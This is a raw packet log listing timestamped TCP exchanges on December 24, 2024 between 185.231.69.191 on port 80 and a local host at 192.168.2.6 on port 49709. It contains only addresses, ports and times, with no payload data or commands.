Dec 24, 2024 14:02:05.968281984 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.968329906 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.029242039 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.029261112 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.029313087 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.029328108 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.031094074 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.031136990 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.031954050 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.031995058 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.032020092 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.032059908 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.036561966 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.036616087 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.036689997 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.036731005 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.041265011 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.041281939 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.041321039 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.041346073 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.047363997 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.047382116 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.047420025 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.047441959 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.050396919 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.050447941 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.050555944 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.050602913 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.054399014 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.054454088 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.054558039 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.054608107 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.057694912 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.057742119 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.057749033 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.057784081 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.061321020 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.061377048 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.061393023 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.061439037 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.064815044 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.064868927 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.064944029 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.064985037 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.068288088 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.068305969 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.068346977 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.068367958 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.071671009 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.071727037 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.071810007 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.071856022 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.075134039 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.075189114 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.075225115 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.075268984 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.078572989 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.078629971 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.078710079 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.078752041 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.081943035 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.081998110 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.082000017 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.082041979 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.085345030 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.085401058 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.085542917 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.085587025 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.087773085 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.087827921 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.087902069 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.087944984 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.107264042 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.107326984 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.107356071 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.107372046 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.107713938 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.107728004 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.107765913 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.107780933 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.148875952 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.148952007 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.148991108 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.149034023 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.150054932 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.150101900 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.150144100 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.150188923 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.152476072 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.152525902 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.152564049 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.152606964 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.154767990 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.154825926 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.154866934 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.154911995 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.157027006 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.157072067 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.157128096 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.157171011 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.159365892 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.159425020 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.159425020 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.159471035 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.161675930 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.161736965 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.161848068 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.161890030 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.163997889 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.164041042 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.164074898 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.164115906 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.166318893 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.166372061 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.166407108 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.166451931 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.168620110 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.168667078 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.168735027 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.168780088 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.170960903 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.171010971 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.171108961 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.171152115 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.173307896 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.173362017 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.173432112 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.173471928 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.175582886 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.175626040 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.175658941 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.175697088 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.178030014 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.178081989 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.178266048 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.178309917 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.180254936 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.180299044 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.180341005 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.180386066 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.182549000 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.182596922 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.220944881 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.221061945 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.221144915 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.221144915 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.222055912 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.222117901 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.222153902 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.222197056 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.224303961 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.224369049 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.225500107 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.225553036 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.225687981 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.225738049 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.227526903 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.227583885 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.227699041 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.227735996 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.229801893 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.229860067 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.229865074 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.229904890 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.232156038 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.232203007 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.232249022 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.232289076 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.234416962 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.234463930 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.234550953 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.234592915 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.236782074 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.236829996 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.236833096 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.236871958 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.239119053 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.239171982 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.239269972 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.239322901 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.241337061 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.241386890 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.241684914 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.241729021 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.243630886 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.243674994 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.243710041 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.243757963 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.245944977 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.246001959 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.246056080 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.246102095 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.248305082 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.248332024 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.248359919 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.248375893 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.250592947 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.250639915 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.250722885 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.250766039 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.252897024 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.252944946 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.252953053 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.252993107 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.255182028 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.255243063 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.255412102 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.255456924 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.257498980 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.257551908 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.257616997 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.257656097 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.259812117 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.259857893 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.259943008 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.259980917 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.262202024 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.262249947 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.262255907 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.262290001 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.264478922 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.264523029 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.264683962 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.264720917 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.266796112 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.266850948 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.266856909 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.266891003 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.269095898 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.269157887 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.269248009 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.269299030 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.271408081 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.271441936 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.271466017 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.271478891 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.273785114 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.273848057 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.273853064 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.273896933 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.275860071 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.275921106 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.275954962 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.275998116 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.277918100 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.277945042 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.277975082 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.277997017 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.279793978 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.279834986 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.279925108 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.279970884 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.281795025 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.281842947 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.282010078 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.282052040 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.283718109 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.283767939 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.283914089 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.283957005 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.285660982 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.285713911 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.285748959 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.285788059 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.287621021 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.287688017 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.287700891 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.287736893 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.289465904 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.289518118 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.289551973 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.289597034 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.291284084 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.291335106 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.291421890 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.291461945 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.293178082 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.293226004 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.293364048 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.293411970 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.294855118 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.294912100 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.299066067 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.299128056 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.299235106 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.299283981 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.299902916 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.299947977 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.299967051 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.300013065 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.301567078 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.301624060 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.301681995 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.301734924 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.303225040 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.303287029 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.303303003 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.303364038 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.304900885 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.304960966 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.305025101 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.305085897 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.306571960 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.306628942 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.306725025 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.306778908 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.308218002 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.308274984 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.308343887 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.308388948 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.309868097 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.309915066 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.309999943 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.310043097 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.311461926 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.311525106 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.311580896 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.311625957 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.313102961 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.313168049 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.313201904 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.313254118 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.314745903 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.314794064 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.314853907 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.314897060 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.316360950 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.316402912 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.316489935 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.316533089 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.318048000 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.318105936 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.318147898 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.318187952 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.319631100 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.319677114 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.319715977 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.319761992 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:06.321351051 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:06.321403027 CET	49709	80	192.168.2.6	185.231.69.191
